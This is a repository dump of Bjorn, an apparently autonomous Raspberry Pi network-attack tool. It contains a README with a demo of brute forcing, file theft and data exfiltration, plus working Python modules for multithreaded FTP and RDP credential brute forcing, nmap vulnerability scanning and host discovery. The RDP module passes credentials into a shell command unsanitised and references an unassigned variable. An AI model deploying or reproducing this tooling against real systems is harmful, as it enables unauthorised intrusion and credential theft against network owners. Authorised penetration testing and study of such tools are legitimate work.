![image](https://github.com/user-attachments/assets/e8d276be-4cb2-474d-a74d-b5b6704d22f5)
I did not develop Bjorn for the raspberry pi zero w2 64bits, but several feedbacks have attested that the installation worked perfectly.
- Raspberry Pi OS installed.
- Stable:
- System: 64-bit
- Kernel version: 6.6
- Debian version: 12 (bookworm) '2024-10-22-raspios-bookworm-arm64-lite'
- Username and hostname set to `bjorn`.
- 2.13-inch e-Paper HAT connected to GPIO pins.
At the moment the paper screen v2 v4 have been tested and implemented.
I juste hope the V1 & V3 will work the same.
### 🔨 Installation
The fastest way to install Bjorn is using the automatic installation script :
```bash
# Download and run the installer
wget https://raw.githubusercontent.com/infinition/Bjorn/refs/heads/main/install_bjorn.sh
sudo chmod +x install_bjorn.sh && sudo ./install_bjorn.sh
# Choose the choice 1 for automatic installation. It may take a while as a lot of packages and modules will be installed. You must reboot at the end.
```
For **detailed information** about **installation** process go to [Install Guide](INSTALL.md)
## ⚡ Quick Start
**Need help ? You struggle to find Bjorn's IP after the installation ?**
Use my Bjorn Detector & SSH Launcher :
[https://github.com/infinition/bjorn-detector](https://github.com/infinition/bjorn-detector)
![ezgif-1-a310f5fe8f](https://github.com/user-attachments/assets/182f82f0-5c3a-48a9-a75e-37b9cfa2263a)
**Hmm, You still need help ?**
For **detailed information** about **troubleshooting** go to [Troubleshooting](TROUBLESHOOTING.md)
**Quick Installation**: you can use the fastest way to install **Bjorn** [Getting Started](#-getting-started)
## 💡 Usage Example
Here's a demonstration of how Bjorn autonomously hunts through your network like a Viking raider (fake demo for illustration):
```bash
# Reconnaissance Phase
[NetworkScanner] Discovering alive hosts...
[+] Host found: 192.168.1.100
├── Ports: 22,80,445,3306
└── MAC: 00:11:22:33:44:55
# Attack Sequence
[NmapVulnScanner] Found vulnerabilities on 192.168.1.100
├── MySQL 5.5 < 5.7 - User Enumeration
└── SMB - EternalBlue Candidate
[SSHBruteforce] Cracking credentials...
[+] Success! user:password123
[StealFilesSSH] Extracting sensitive data...
# Automated Data Exfiltration
[SQLBruteforce] Database accessed!
[StealDataSQL] Dumping tables...
[SMBBruteforce] Share accessible
[+] Found config files, credentials, backups...
```
This is just a demo output - actual results will vary based on your network and target configuration.
All discovered data is automatically organized in the data/output/ directory, viewable through both the e-Paper display (as indicators) and web interface.
Bjorn works tirelessly, expanding its network knowledge base and growing stronger with each discovery.
No constant monitoring needed - just deploy and let Bjorn do what it does best: hunt for vulnerabilities.
🔧 Expand Bjorn's Arsenal!
Bjorn is designed to be a community-driven weapon forge. Create and share your own attack modules!
⚠️ **For educational and authorized testing purposes only** ⚠️
## 🤝 Contributing
The project welcomes contributions in:
- New attack modules.
- Bug fixes.
- Documentation.
- Feature improvements.
For **detailed information** about **contributing** process go to [Contributing Docs](CONTRIBUTING.md), [Code Of Conduct](CODE_OF_CONDUCT.md) and [Development Guide](DEVELOPMENT.md).
## 📫 Contact
- **Report Issues**: Via GitHub.
- **Guidelines**:
- Follow ethical guidelines.
- Document reproduction steps.
- Provide logs and context.
- **Author**: __infinition__
- **GitHub**: [infinition/Bjorn](https://github.com/infinition/Bjorn)
## 🌠 Stargazers
[![Star History Chart](https://api.star-history.com/svg?repos=infinition/bjorn&type=Date)](https://star-history.com/#infinition/bjorn&Date)
---
## 📜 License
2024 - Bjorn is distributed under the MIT License. For more details, please refer to the [LICENSE](LICENSE) file included in this repository.
+48
View File
@@ -0,0 +1,48 @@
# 🔒 Security Policy
Security Policy for **Bjorn** repository includes all required compliance matrix and artifact mapping.
## 🧮 Supported Versions
We provide security updates for the following versions of our project:
| Version | Status | Secure |
| ------- |-------------| ------ |
| 1.0.0 | Development | No |
## 🛡️ Security Practices
- We follow best practices for secure coding and infrastructure management.
- Regular security audits and code reviews are conducted to identify and mitigate potential risks.
- Dependencies are monitored and updated to address known vulnerabilities.
## 📲 Security Updates
- Security updates are released as soon as possible after a vulnerability is confirmed.
- Users are encouraged to update to the latest version to benefit from security fixes.
## 🚨 Reporting a Vulnerability
If you discover a security vulnerability within this project, please follow these steps:
1. **Do not create a public issue.** Instead, contact us directly to responsibly disclose the vulnerability.
2. **Email** [bjorn-cyberviking@outlook.com](mailto:bjorn-cyberviking@outlook.com) with the following information:
- A description of the vulnerability.
- Steps to reproduce the issue.
- Any potential impact or severity.
3. **Wait for a response.** We will acknowledge your report and work with you to address the issue promptly.
## 🛰️ Additional Resources
- [OWASP Security Guidelines](https://owasp.org/)
Thank you for helping us keep this project secure!
---
## 📜 License
2024 - Bjorn is distributed under the MIT License. For more details, please refer to the [LICENSE](LICENSE) file included in this repository.
+80
View File
@@ -0,0 +1,80 @@
# 🐛 Known Issues and Troubleshooting
<p align="center">
<img src="https://github.com/user-attachments/assets/c5eb4cc1-0c3d-497d-9422-1614651a84ab" alt="thumbnail_IMG_0546" width="98">
</p>
## 📚 Table of Contents
- [Current Development Issues](#-current-development-issues)
- [Troubleshooting Steps](#-troubleshooting-steps)
- [License](#-license)
## 🪲 Current Development Issues
### Long Runtime Issue
- **Problem**: `OSError: [Errno 24] Too many open files`
- **Status**: Partially resolved with system limits configuration.
- **Workaround**: Implemented file descriptor limits increase.
- **Monitoring**: Check open files with `lsof -p $(pgrep -f Bjorn.py) | wc -l`
- At the moment the logs show periodically this information as (FD : XXX)
## 🛠️ Troubleshooting Steps
### Service Issues
```bash
#See bjorn journalctl service
journalctl -fu bjorn.service
# Check service status
sudo systemctl status bjorn.service
# View detailed logs
sudo journalctl -u bjorn.service -f
or
sudo tail -f /home/bjorn/Bjorn/data/logs/*
# Check port 8000 usage
sudo lsof -i :8000
```
### Display Issues
```bash
# Verify SPI devices
ls /dev/spi*
# Check user permissions
sudo usermod -a -G spi,gpio bjorn
```
### Network Issues
```bash
# Check network interfaces
ip addr show
# Test USB gadget interface
ip link show usb0
```
### Permission Issues
```bash
# Fix ownership
sudo chown -R bjorn:bjorn /home/bjorn/Bjorn
# Fix permissions
sudo chmod -R 755 /home/bjorn/Bjorn
```
---
## 📜 License
2024 - Bjorn is distributed under the MIT License. For more details, please refer to the [LICENSE](LICENSE) file included in this repository.
View File
-7
View File
@@ -1,7 +0,0 @@
{
"social": {
"discord": "https://discord.gg/B3ZH9taVfT",
"reddit": null
},
"buymeacoffee": "https://buymeacoffee.com/infinition"
}
+20
View File
@@ -0,0 +1,20 @@
#Test script to add more actions to BJORN
from rich.console import Console
from shared import SharedData
b_class = "IDLE"
b_module = "idle_action"
b_status = "idle_action"
b_port = None
b_parent = None
console = Console()
class IDLE:
def __init__(self, shared_data):
self.shared_data = shared_data
View File
+190
View File
@@ -0,0 +1,190 @@
import os
import pandas as pd
import threading
import logging
import time
from rich.console import Console
from rich.progress import Progress, BarColumn, TextColumn, SpinnerColumn
from ftplib import FTP
from queue import Queue
from shared import SharedData
from logger import Logger
logger = Logger(name="ftp_connector.py", level=logging.DEBUG)
b_class = "FTPBruteforce"
b_module = "ftp_connector"
b_status = "brute_force_ftp"
b_port = 21
b_parent = None
class FTPBruteforce:
"""
This class handles the FTP brute force attack process.
"""
def __init__(self, shared_data):
self.shared_data = shared_data
self.ftp_connector = FTPConnector(shared_data)
logger.info("FTPConnector initialized.")
def bruteforce_ftp(self, ip, port):
"""
Initiates the brute force attack on the given IP and port.
"""
return self.ftp_connector.run_bruteforce(ip, port)
def execute(self, ip, port, row, status_key):
"""
Executes the brute force attack and updates the shared data status.
"""
self.shared_data.bjornorch_status = "FTPBruteforce"
# Wait a bit because it's too fast to see the status change
time.sleep(5)
logger.info(f"Brute forcing FTP on {ip}:{port}...")
success, results = self.bruteforce_ftp(ip, port)
return 'success' if success else 'failed'
class FTPConnector:
"""
This class manages the FTP connection attempts using different usernames and passwords.
"""
def __init__(self, shared_data):
self.shared_data = shared_data
self.scan = pd.read_csv(shared_data.netkbfile)
if "Ports" not in self.scan.columns:
self.scan["Ports"] = None
self.scan = self.scan[self.scan["Ports"].str.contains("21", na=False)]
self.users = open(shared_data.usersfile, "r").read().splitlines()
self.passwords = open(shared_data.passwordsfile, "r").read().splitlines()
self.lock = threading.Lock()
self.ftpfile = shared_data.ftpfile
if not os.path.exists(self.ftpfile):
logger.info(f"File {self.ftpfile} does not exist. Creating...")
with open(self.ftpfile, "w") as f:
f.write("MAC Address,IP Address,Hostname,User,Password,Port\n")
self.results = []
self.queue = Queue()
self.console = Console()
def load_scan_file(self):
"""
Load the netkb file and filter it for FTP ports.
"""
self.scan = pd.read_csv(self.shared_data.netkbfile)
if "Ports" not in self.scan.columns:
self.scan["Ports"] = None
self.scan = self.scan[self.scan["Ports"].str.contains("21", na=False)]
def ftp_connect(self, adresse_ip, user, password):
"""
Attempts to connect to the FTP server using the provided username and password.
"""
try:
conn = FTP()
conn.connect(adresse_ip, 21)
conn.login(user, password)
conn.quit()
logger.info(f"Access to FTP successful on {adresse_ip} with user '{user}'")
return True
except Exception as e:
return False
def worker(self, progress, task_id, success_flag):
"""
Worker thread to process items in the queue.
"""
while not self.queue.empty():
if self.shared_data.orchestrator_should_exit:
logger.info("Orchestrator exit signal received, stopping worker thread.")
break
adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
if self.ftp_connect(adresse_ip, user, password):
with self.lock:
self.results.append([mac_address, adresse_ip, hostname, user, password, port])
logger.success(f"Found credentials for IP: {adresse_ip} | User: {user}")
self.save_results()
self.removeduplicates()
success_flag[0] = True
self.queue.task_done()
progress.update(task_id, advance=1)
def run_bruteforce(self, adresse_ip, port):
self.load_scan_file() # Reload the scan file to get the latest IPs and ports
mac_address = self.scan.loc[self.scan['IPs'] == adresse_ip, 'MAC Address'].values[0]
hostname = self.scan.loc[self.scan['IPs'] == adresse_ip, 'Hostnames'].values[0]
total_tasks = len(self.users) * len(self.passwords) + 1 # Include one for the anonymous attempt
for user in self.users:
for password in self.passwords:
if self.shared_data.orchestrator_should_exit:
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
return False, []
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
success_flag = [False]
threads = []
with Progress(SpinnerColumn(), TextColumn("[progress.description]{task.description}"), BarColumn(), TextColumn("[progress.percentage]{task.percentage:>3.0f}%")) as progress:
task_id = progress.add_task("[cyan]Bruteforcing FTP...", total=total_tasks)
for _ in range(40): # Adjust the number of threads based on the RPi Zero's capabilities
t = threading.Thread(target=self.worker, args=(progress, task_id, success_flag))
t.start()
threads.append(t)
while not self.queue.empty():
if self.shared_data.orchestrator_should_exit:
logger.info("Orchestrator exit signal received, stopping bruteforce.")
while not self.queue.empty():
self.queue.get()
self.queue.task_done()
break
self.queue.join()
for t in threads:
t.join()
return success_flag[0], self.results # Return True and the list of successes if at least one attempt was successful
def save_results(self):
"""
Saves the results of successful FTP connections to a CSV file.
"""
df = pd.DataFrame(self.results, columns=['MAC Address', 'IP Address', 'Hostname', 'User', 'Password', 'Port'])
df.to_csv(self.ftpfile, index=False, mode='a', header=not os.path.exists(self.ftpfile))
self.results = [] # Reset temporary results after saving
def removeduplicates(self):
"""
Removes duplicate entries from the results file.
"""
df = pd.read_csv(self.ftpfile)
df.drop_duplicates(inplace=True)
df.to_csv(self.ftpfile, index=False)
if __name__ == "__main__":
shared_data = SharedData()
try:
ftp_bruteforce = FTPBruteforce(shared_data)
logger.info("[bold green]Starting FTP attack...on port 21[/bold green]")
# Load the IPs to scan from shared data
ips_to_scan = shared_data.read_data()
# Execute brute force attack on each IP
for row in ips_to_scan:
ip = row["IPs"]
ftp_bruteforce.execute(ip, b_port, row, b_status)
logger.info(f"Total successful attempts: {len(ftp_bruteforce.ftp_connector.results)}")
exit(len(ftp_bruteforce.ftp_connector.results))
except Exception as e:
logger.error(f"Error: {e}")
+34
View File
@@ -0,0 +1,34 @@
#Test script to add more actions to BJORN
import logging
from shared import SharedData
from logger import Logger
# Configure the logger
logger = Logger(name="log_standalone.py", level=logging.INFO)
# Define the necessary global variables
b_class = "LogStandalone"
b_module = "log_standalone"
b_status = "log_standalone"
b_port = 0 # Indicate this is a standalone action
class LogStandalone:
"""
Class to handle the standalone log action.
"""
def __init__(self, shared_data):
self.shared_data = shared_data
logger.info("LogStandalone initialized")
def execute(self):
"""
Execute the standalone log action.
"""
try:
logger.info("Executing standalone log action.")
logger.info("This is a test log message for the standalone action.")
return 'success'
except Exception as e:
logger.error(f"Error executing standalone log action: {e}")
return 'failed'
+34
View File
@@ -0,0 +1,34 @@
#Test script to add more actions to BJORN
import logging
from shared import SharedData
from logger import Logger
# Configure the logger
logger = Logger(name="log_standalone2.py", level=logging.INFO)
# Define the necessary global variables
b_class = "LogStandalone2"
b_module = "log_standalone2"
b_status = "log_standalone2"
b_port = 0 # Indicate this is a standalone action
class LogStandalone2:
"""
Class to handle the standalone log action.
"""
def __init__(self, shared_data):
self.shared_data = shared_data
logger.info("LogStandalone initialized")
def execute(self):
"""
Execute the standalone log action.
"""
try:
logger.info("Executing standalone log action.")
logger.info("This is a test log message for the standalone action.")
return 'success'
except Exception as e:
logger.error(f"Error executing standalone log action: {e}")
return 'failed'
+188
View File
@@ -0,0 +1,188 @@
# nmap_vuln_scanner.py
# This script performs vulnerability scanning using Nmap on specified IP addresses.
# It scans for vulnerabilities on various ports and saves the results and progress.
import os
import pandas as pd
import subprocess
import logging
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
from rich.console import Console
from rich.progress import Progress, BarColumn, TextColumn
from shared import SharedData
from logger import Logger
logger = Logger(name="nmap_vuln_scanner.py", level=logging.INFO)
b_class = "NmapVulnScanner"
b_module = "nmap_vuln_scanner"
b_status = "vuln_scan"
b_port = None
b_parent = None
class NmapVulnScanner:
"""
This class handles the Nmap vulnerability scanning process.
"""
def __init__(self, shared_data):
self.shared_data = shared_data
self.scan_results = []
self.summary_file = self.shared_data.vuln_summary_file
self.create_summary_file()
logger.debug("NmapVulnScanner initialized.")
def create_summary_file(self):
"""
Creates a summary file for vulnerabilities if it does not exist.
"""
if not os.path.exists(self.summary_file):
os.makedirs(self.shared_data.vulnerabilities_dir, exist_ok=True)
df = pd.DataFrame(columns=["IP", "Hostname", "MAC Address", "Port", "Vulnerabilities"])
df.to_csv(self.summary_file, index=False)
def update_summary_file(self, ip, hostname, mac, port, vulnerabilities):
"""
Updates the summary file with the scan results.
"""
try:
# Read existing data
df = pd.read_csv(self.summary_file)
# Create new data entry
new_data = pd.DataFrame([{"IP": ip, "Hostname": hostname, "MAC Address": mac, "Port": port, "Vulnerabilities": vulnerabilities}])
# Append new data
df = pd.concat([df, new_data], ignore_index=True)
# Remove duplicates based on IP and MAC Address, keeping the last occurrence
df.drop_duplicates(subset=["IP", "MAC Address"], keep='last', inplace=True)
# Save the updated data back to the summary file
df.to_csv(self.summary_file, index=False)
except Exception as e:
logger.error(f"Error updating summary file: {e}")
def scan_vulnerabilities(self, ip, hostname, mac, ports):
combined_result = ""
success = True # Initialize to True, will become False if an error occurs
try:
self.shared_data.bjornstatustext2 = ip
# Proceed with scanning if ports are not already scanned
logger.info(f"Scanning {ip} on ports {','.join(ports)} for vulnerabilities with aggressivity {self.shared_data.nmap_scan_aggressivity}")
result = subprocess.run(
["nmap", self.shared_data.nmap_scan_aggressivity, "-sV", "--script", "vulners.nse", "-p", ",".join(ports), ip],
capture_output=True, text=True
)
combined_result += result.stdout
vulnerabilities = self.parse_vulnerabilities(result.stdout)
self.update_summary_file(ip, hostname, mac, ",".join(ports), vulnerabilities)
except Exception as e:
logger.error(f"Error scanning {ip}: {e}")
success = False # Mark as failed if an error occurs
return combined_result if success else None
def execute(self, ip, row, status_key):
"""
Executes the vulnerability scan for a given IP and row data.
"""
self.shared_data.bjornorch_status = "NmapVulnScanner"
ports = row["Ports"].split(";")
scan_result = self.scan_vulnerabilities(ip, row["Hostnames"], row["MAC Address"], ports)
if scan_result is not None:
self.scan_results.append((ip, row["Hostnames"], row["MAC Address"]))
self.save_results(row["MAC Address"], ip, scan_result)
return 'success'
else:
return 'success' # considering failed as success as we just need to scan vulnerabilities once
# return 'failed'
def parse_vulnerabilities(self, scan_result):
"""
Parses the Nmap scan result to extract vulnerabilities.
"""
vulnerabilities = set()
capture = False
for line in scan_result.splitlines():
if "VULNERABLE" in line or "CVE-" in line or "*EXPLOIT*" in line:
capture = True
if capture:
if line.strip() and not line.startswith('|_'):
vulnerabilities.add(line.strip())
else:
capture = False
return "; ".join(vulnerabilities)
def save_results(self, mac_address, ip, scan_result):
"""
Saves the detailed scan results to a file.
"""
try:
sanitized_mac_address = mac_address.replace(":", "")
result_dir = self.shared_data.vulnerabilities_dir
os.makedirs(result_dir, exist_ok=True)
result_file = os.path.join(result_dir, f"{sanitized_mac_address}_{ip}_vuln_scan.txt")
# Open the file in write mode to clear its contents if it exists, then close it
if os.path.exists(result_file):
open(result_file, 'w').close()
# Write the new scan result to the file
with open(result_file, 'w') as file:
file.write(scan_result)
logger.info(f"Results saved to {result_file}")
except Exception as e:
logger.error(f"Error saving scan results for {ip}: {e}")
def save_summary(self):
"""
Saves a summary of all scanned vulnerabilities to a final summary file.
"""
try:
final_summary_file = os.path.join(self.shared_data.vulnerabilities_dir, "final_vulnerability_summary.csv")
df = pd.read_csv(self.summary_file)
summary_data = df.groupby(["IP", "Hostname", "MAC Address"])["Vulnerabilities"].apply(lambda x: "; ".join(set("; ".join(x).split("; ")))).reset_index()
summary_data.to_csv(final_summary_file, index=False)
logger.info(f"Summary saved to {final_summary_file}")
except Exception as e:
logger.error(f"Error saving summary: {e}")
if __name__ == "__main__":
shared_data = SharedData()
try:
nmap_vuln_scanner = NmapVulnScanner(shared_data)
logger.info("Starting vulnerability scans...")
# Load the netkbfile and get the IPs to scan
ips_to_scan = shared_data.read_data() # Use your existing method to read the data
# Execute the scan on each IP with concurrency
with Progress(
TextColumn("[progress.description]{task.description}"),
BarColumn(),
"[progress.percentage]{task.percentage:>3.1f}%",
console=Console()
) as progress:
task = progress.add_task("Scanning vulnerabilities...", total=len(ips_to_scan))
futures = []
with ThreadPoolExecutor(max_workers=2) as executor: # Adjust the number of workers for RPi Zero
for row in ips_to_scan:
if row["Alive"] == '1': # Check if the host is alive
ip = row["IPs"]
futures.append(executor.submit(nmap_vuln_scanner.execute, ip, row, b_status))
for future in as_completed(futures):
progress.update(task, advance=1)
nmap_vuln_scanner.save_summary()
logger.info(f"Total scans performed: {len(nmap_vuln_scanner.scan_results)}")
exit(len(nmap_vuln_scanner.scan_results))
except Exception as e:
logger.error(f"Error: {e}")
+198
View File
@@ -0,0 +1,198 @@
"""
rdp_connector.py - This script performs a brute force attack on RDP services (port 3389) to find accessible accounts using various user credentials. It logs the results of successful connections.
"""
import os
import pandas as pd
import subprocess
import threading
import logging
import time
from rich.console import Console
from rich.progress import Progress, BarColumn, TextColumn, SpinnerColumn
from queue import Queue
from shared import SharedData
from logger import Logger
# Configure the logger
logger = Logger(name="rdp_connector.py", level=logging.DEBUG)
# Define the necessary global variables
b_class = "RDPBruteforce"
b_module = "rdp_connector"
b_status = "brute_force_rdp"
b_port = 3389
b_parent = None
class RDPBruteforce:
"""
Class to handle the RDP brute force process.
"""
def __init__(self, shared_data):
self.shared_data = shared_data
self.rdp_connector = RDPConnector(shared_data)
logger.info("RDPConnector initialized.")
def bruteforce_rdp(self, ip, port):
"""
Run the RDP brute force attack on the given IP and port.
"""
logger.info(f"Running bruteforce_rdp on {ip}:{port}...")
return self.rdp_connector.run_bruteforce(ip, port)
def execute(self, ip, port, row, status_key):
"""
Execute the brute force attack and update status.
"""
logger.info(f"Executing RDPBruteforce on {ip}:{port}...")
self.shared_data.bjornorch_status = "RDPBruteforce"
success, results = self.bruteforce_rdp(ip, port)
return 'success' if success else 'failed'
class RDPConnector:
"""
Class to manage the connection attempts and store the results.
"""
def __init__(self, shared_data):
self.shared_data = shared_data
self.scan = pd.read_csv(shared_data.netkbfile)
if "Ports" not in self.scan.columns:
self.scan["Ports"] = None
self.scan = self.scan[self.scan["Ports"].str.contains("3389", na=False)]
self.users = open(shared_data.usersfile, "r").read().splitlines()
self.passwords = open(shared_data.passwordsfile, "r").read().splitlines()
self.lock = threading.Lock()
self.rdpfile = shared_data.rdpfile
# If the file doesn't exist, it will be created
if not os.path.exists(self.rdpfile):
logger.info(f"File {self.rdpfile} does not exist. Creating...")
with open(self.rdpfile, "w") as f:
f.write("MAC Address,IP Address,Hostname,User,Password,Port\n")
self.results = [] # List to store results temporarily
self.queue = Queue()
self.console = Console()
def load_scan_file(self):
"""
Load the netkb file and filter it for RDP ports.
"""
self.scan = pd.read_csv(self.shared_data.netkbfile)
if "Ports" not in self.scan.columns:
self.scan["Ports"] = None
self.scan = self.scan[self.scan["Ports"].str.contains("3389", na=False)]
def rdp_connect(self, adresse_ip, user, password):
"""
Attempt to connect to an RDP service using the given credentials.
"""
command = f"xfreerdp /v:{adresse_ip} /u:{user} /p:{password} /cert:ignore +auth-only"
try:
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = process.communicate()
if process.returncode == 0:
return True
else:
return False
except subprocess.SubprocessError as e:
return False
def worker(self, progress, task_id, success_flag):
"""
Worker thread to process items in the queue.
"""
while not self.queue.empty():
if self.shared_data.orchestrator_should_exit:
logger.info("Orchestrator exit signal received, stopping worker thread.")
break
adresse_ip, user, password, mac_address, hostname, port = self.queue.get()
if self.rdp_connect(adresse_ip, user, password):
with self.lock:
self.results.append([mac_address, adresse_ip, hostname, user, password, port])
logger.success(f"Found credentials for IP: {adresse_ip} | User: {user} | Password: {password}")
self.save_results()
self.removeduplicates()
success_flag[0] = True
self.queue.task_done()
progress.update(task_id, advance=1)
def run_bruteforce(self, adresse_ip, port):
self.load_scan_file() # Reload the scan file to get the latest IPs and ports
total_tasks = len(self.users) * len(self.passwords)
for user in self.users:
for password in self.passwords:
if self.shared_data.orchestrator_should_exit:
logger.info("Orchestrator exit signal received, stopping bruteforce task addition.")
return False, []
self.queue.put((adresse_ip, user, password, mac_address, hostname, port))
success_flag = [False]
threads = []
with Progress(SpinnerColumn(), TextColumn("[progress.description]{task.description}"), BarColumn(), TextColumn("[progress.percentage]{task.percentage:>3.0f}%")) as progress:
task_id = progress.add_task("[cyan]Bruteforcing RDP...", total=total_tasks)
mac_address = self.scan.loc[self.scan['IPs'] == adresse_ip, 'MAC Address'].values[0]
hostname = self.scan.loc[self.scan['IPs'] == adresse_ip, 'Hostnames'].values[0]
for _ in range(40): # Adjust the number of threads based on the RPi Zero's capabilities
t = threading.Thread(target=self.worker, args=(progress, task_id, success_flag))
t.start()
threads.append(t)
while not self.queue.empty():
if self.shared_data.orchestrator_should_exit:
logger.info("Orchestrator exit signal received, stopping bruteforce.")
while not self.queue.empty():
self.queue.get()
self.queue.task_done()
break
self.queue.join()
for t in threads:
t.join()
return success_flag[0], self.results # Return True and the list of successes if at least one attempt was successful
def save_results(self):
"""
Save the results of successful connection attempts to a CSV file.
"""
df = pd.DataFrame(self.results, columns=['MAC Address', 'IP Address', 'Hostname', 'User', 'Password', 'Port'])
df.to_csv(self.rdpfile, index=False, mode='a', header=not os.path.exists(self.rdpfile))
self.results = [] # Reset temporary results after saving
def removeduplicates(self):
"""
Remove duplicate entries from the results CSV file.
"""
df = pd.read_csv(self.rdpfile)
df.drop_duplicates(inplace=True)
df.to_csv(self.rdpfile, index=False)
if __name__ == "__main__":
shared_data = SharedData()
try:
rdp_bruteforce = RDPBruteforce(shared_data)
logger.info("Démarrage de l'attaque RDP... sur le port 3389")
# Load the netkb file and get the IPs to scan
ips_to_scan = shared_data.read_data()
# Execute the brute force on each IP
for row in ips_to_scan:
ip = row["IPs"]
logger.info(f"Executing RDPBruteforce on {ip}...")
rdp_bruteforce.execute(ip, b_port, row, b_status)
logger.info(f"Nombre total de succès: {len(rdp_bruteforce.rdp_connector.results)}")
exit(len(rdp_bruteforce.rdp_connector.results))
except Exception as e:
logger.error(f"Erreur: {e}")
+589
View File
@@ -0,0 +1,589 @@
#scanning.py
# This script performs a network scan to identify live hosts, their MAC addresses, and open ports.
# The results are saved to CSV files and displayed using Rich for enhanced visualization.
import os
import threading
import csv
import pandas as pd
import socket
import netifaces
import time
import glob
import logging
from datetime import datetime
from rich.console import Console
from rich.table import Table
from rich.text import Text
from rich.progress import Progress
from getmac import get_mac_address as gma
from shared import SharedData
from logger import Logger
import ipaddress
import nmap
logger = Logger(name="scanning.py", level=logging.DEBUG)
b_class = "NetworkScanner"
b_module = "scanning"
b_status = "network_scanner"
b_port = None
b_parent = None
b_priority = 1
class NetworkScanner:
"""
This class handles the entire network scanning process.
"""
def __init__(self, shared_data):
self.shared_data = shared_data
self.logger = logger
self.displaying_csv = shared_data.displaying_csv
self.blacklistcheck = shared_data.blacklistcheck
self.mac_scan_blacklist = shared_data.mac_scan_blacklist
self.ip_scan_blacklist = shared_data.ip_scan_blacklist
self.console = Console()
self.lock = threading.Lock()
self.currentdir = shared_data.currentdir
self.semaphore = threading.Semaphore(200) # Limit the number of active threads to 20
self.nm = nmap.PortScanner() # Initialize nmap.PortScanner()
self.running = False
def check_if_csv_scan_file_exists(self, csv_scan_file, csv_result_file, netkbfile):
"""
Checks and prepares the necessary CSV files for the scan.
"""
with self.lock:
try:
if not os.path.exists(os.path.dirname(csv_scan_file)):
os.makedirs(os.path.dirname(csv_scan_file))
if not os.path.exists(os.path.dirname(netkbfile)):
os.makedirs(os.path.dirname(netkbfile))
if os.path.exists(csv_scan_file):
os.remove(csv_scan_file)
if os.path.exists(csv_result_file):
os.remove(csv_result_file)
if not os.path.exists(netkbfile):
with open(netkbfile, 'w', newline='') as file:
writer = csv.writer(file)
writer.writerow(['MAC Address', 'IPs', 'Hostnames', 'Alive', 'Ports'])
except Exception as e:
self.logger.error(f"Error in check_if_csv_scan_file_exists: {e}")
def get_current_timestamp(self):
"""
Returns the current timestamp in a specific format.
"""
return datetime.now().strftime("%Y%m%d_%H%M%S")
def ip_key(self, ip):
"""
Converts an IP address to a tuple of integers for sorting.
"""
if ip == "STANDALONE":
return (0, 0, 0, 0)
try:
return tuple(map(int, ip.split('.')))
except ValueError as e:
self.logger.error(f"Error in ip_key: {e}")
return (0, 0, 0, 0)
def sort_and_write_csv(self, csv_scan_file):
"""
Sorts the CSV file based on IP addresses and writes the sorted content back to the file.
"""
with self.lock:
try:
with open(csv_scan_file, 'r') as file:
lines = file.readlines()
sorted_lines = [lines[0]] + sorted(lines[1:], key=lambda x: self.ip_key(x.split(',')[0]))
with open(csv_scan_file, 'w') as file:
file.writelines(sorted_lines)
except Exception as e:
self.logger.error(f"Error in sort_and_write_csv: {e}")
class GetIpFromCsv:
"""
Helper class to retrieve IP addresses, hostnames, and MAC addresses from a CSV file.
"""
def __init__(self, outer_instance, csv_scan_file):
self.outer_instance = outer_instance
self.csv_scan_file = csv_scan_file
self.ip_list = []
self.hostname_list = []
self.mac_list = []
self.get_ip_from_csv()
def get_ip_from_csv(self):
"""
Reads IP addresses, hostnames, and MAC addresses from the CSV file.
"""
with self.outer_instance.lock:
try:
with open(self.csv_scan_file, 'r') as csv_scan_file:
csv_reader = csv.reader(csv_scan_file)
next(csv_reader)
for row in csv_reader:
if row[0] == "STANDALONE" or row[1] == "STANDALONE" or row[2] == "STANDALONE":
continue
if not self.outer_instance.blacklistcheck or (row[2] not in self.outer_instance.mac_scan_blacklist and row[0] not in self.outer_instance.ip_scan_blacklist):
self.ip_list.append(row[0])
self.hostname_list.append(row[1])
self.mac_list.append(row[2])
except Exception as e:
self.outer_instance.logger.error(f"Error in get_ip_from_csv: {e}")
def update_netkb(self, netkbfile, netkb_data, alive_macs):
"""
Updates the net knowledge base (netkb) file with the scan results.
"""
with self.lock:
try:
netkb_entries = {}
existing_action_columns = []
# Read existing CSV file
if os.path.exists(netkbfile):
with open(netkbfile, 'r') as file:
reader = csv.DictReader(file)
existing_headers = reader.fieldnames
existing_action_columns = [header for header in existing_headers if header not in ["MAC Address", "IPs", "Hostnames", "Alive", "Ports"]]
for row in reader:
mac = row["MAC Address"]
ips = row["IPs"].split(';')
hostnames = row["Hostnames"].split(';')
alive = row["Alive"]
ports = row["Ports"].split(';')
netkb_entries[mac] = {
'IPs': set(ips) if ips[0] else set(),
'Hostnames': set(hostnames) if hostnames[0] else set(),
'Alive': alive,
'Ports': set(ports) if ports[0] else set()
}
for action in existing_action_columns:
netkb_entries[mac][action] = row.get(action, "")
ip_to_mac = {} # Dictionary to track IP to MAC associations
for data in netkb_data:
mac, ip, hostname, ports = data
if not mac or mac == "STANDALONE" or ip == "STANDALONE" or hostname == "STANDALONE":
continue
# Check if MAC address is "00:00:00:00:00:00"
if mac == "00:00:00:00:00:00":
continue
if self.blacklistcheck and (mac in self.mac_scan_blacklist or ip in self.ip_scan_blacklist):
continue
# Check if IP is already associated with a different MAC
if ip in ip_to_mac and ip_to_mac[ip] != mac:
# Mark the old MAC as not alive
old_mac = ip_to_mac[ip]
if old_mac in netkb_entries:
netkb_entries[old_mac]['Alive'] = '0'
# Update or create entry for the new MAC
ip_to_mac[ip] = mac
if mac in netkb_entries:
netkb_entries[mac]['IPs'].add(ip)
netkb_entries[mac]['Hostnames'].add(hostname)
netkb_entries[mac]['Alive'] = '1'
netkb_entries[mac]['Ports'].update(map(str, ports))
else:
netkb_entries[mac] = {
'IPs': {ip},
'Hostnames': {hostname},
'Alive': '1',
'Ports': set(map(str, ports))
}
for action in existing_action_columns:
netkb_entries[mac][action] = ""
# Update all existing entries to mark missing hosts as not alive
for mac in netkb_entries:
if mac not in alive_macs:
netkb_entries[mac]['Alive'] = '0'
# Remove entries with multiple IP addresses for a single MAC address
netkb_entries = {mac: data for mac, data in netkb_entries.items() if len(data['IPs']) == 1}
sorted_netkb_entries = sorted(netkb_entries.items(), key=lambda x: self.ip_key(sorted(x[1]['IPs'])[0]))
